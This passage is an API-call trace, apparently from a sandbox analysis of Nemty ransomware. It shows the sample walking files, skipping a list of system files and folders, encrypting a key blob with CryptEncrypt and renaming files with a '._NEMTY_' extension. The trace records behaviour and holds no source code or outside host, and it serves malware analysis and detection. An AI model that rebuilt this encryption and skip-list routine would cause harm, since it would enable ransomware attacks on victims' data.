lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.833] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.839] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.839] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0130.840] CloseHandle (hObject=0xffffffff) returned 0 [0130.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0130.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0130.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0130.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0130.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0130.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340410 [0130.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0130.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mousedown.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mousedown.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mousedown.png._nemty_kgobjgd_")) returned 0 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc908830a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc908830a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69c, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="button_MCELogo_mouseout.png", cAlternateFileName="")) returned 1 [0130.840] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2=".") returned 1 [0130.840] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="..") returned 1 [0130.840] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="...") returned 1 [0130.840] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="windows") returned -1 [0130.840] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="$RECYCLE.BIN") returned 1 [0130.840] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="rsa") returned -1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="NTDETECT.COM") returned -1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="ntldr") returned -1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="MSDOS.SYS") returned -1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="IO.SYS") returned -1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="boot.ini") returned 1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="boot.ini") returned 1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="AUTOEXEC.BAT") returned 1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="ntuser.dat") returned -1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="desktop.ini") returned -1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="CONFIG.SYS") returned -1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="RECYCLER") returned -1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="BOOTSECT.BAK") returned 1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="bootmgr") returned 1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="programdata") returned -1 [0130.841] lstrcmpiW (lpString1="button_MCELogo_mouseout.png", lpString2="appdata") returned 1 [0130.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseout.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0130.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseout.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_MCELogo_mouseout.png", lpUsedDefaultChar=0x0) returned 27 [0130.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0130.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseout.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0130.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseout.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_MCELogo_mouseout.png", lpUsedDefaultChar=0x0) returned 27 [0130.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0130.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseout.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0130.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseout.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_MCELogo_mouseout.png", lpUsedDefaultChar=0x0) returned 27 [0130.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseout.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0130.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mouseout.png", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_MCELogo_mouseout.png", lpUsedDefaultChar=0x0) returned 27 [0130.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0130.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0130.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0130.842] Sleep (dwMilliseconds=0x5) [0130.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1a3d230, dwHighDateTime=0x1d561e8)) [0130.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1a3d230, dwHighDateTime=0x1d561e8)) [0130.850] GetLastError () returned 0x5 [0130.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.851] GetLastError () returned 0x5 [0130.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0130.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0130.851] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0130.851] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0130.851] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0130.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0130.851] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="levD8aOaX9IvdFrWxXHbIGJKilDBimc9Y3IpjixevQ2oaJQVi2dv74ZkGYUOhq/E\r\n1ujpjLyIlT1QpzYAr3n3u1XquggGOhHnWp56/WNEFa9vQOXCBRK6hjoem7yK4ZmT\r\nVxaubEvuXK02RI38qME5PHb9zJCDgOraUCfp76okPLvgHDRm5a3FKorSWc05vbkc\r\n0rHBIPrOhPPgbUjlsDiwkD23TReMVzxckscy4VSfShsg6kq+pe7JJyMXDAA18Huz\r\nIFlEQe4ci8GI94NhiyYLx5lq35rWcN5XMtfaN0wBV++aLyUbW5Aqa1eCsnXYW+zI\r\n5GDOcn49YS1n8Ruvq4hlGg==\r\n", pcchString=0x653e91c) returned 1 [0130.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0130.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0130.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0130.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0130.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0130.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0130.851] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mouseout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0130.851] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0130.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0130.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.851] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.889] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.899] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.908] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.918] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.919] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.928] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.938] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.938] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.953] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0130.959] CloseHandle (hObject=0xffffffff) returned 0 [0130.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0130.960] 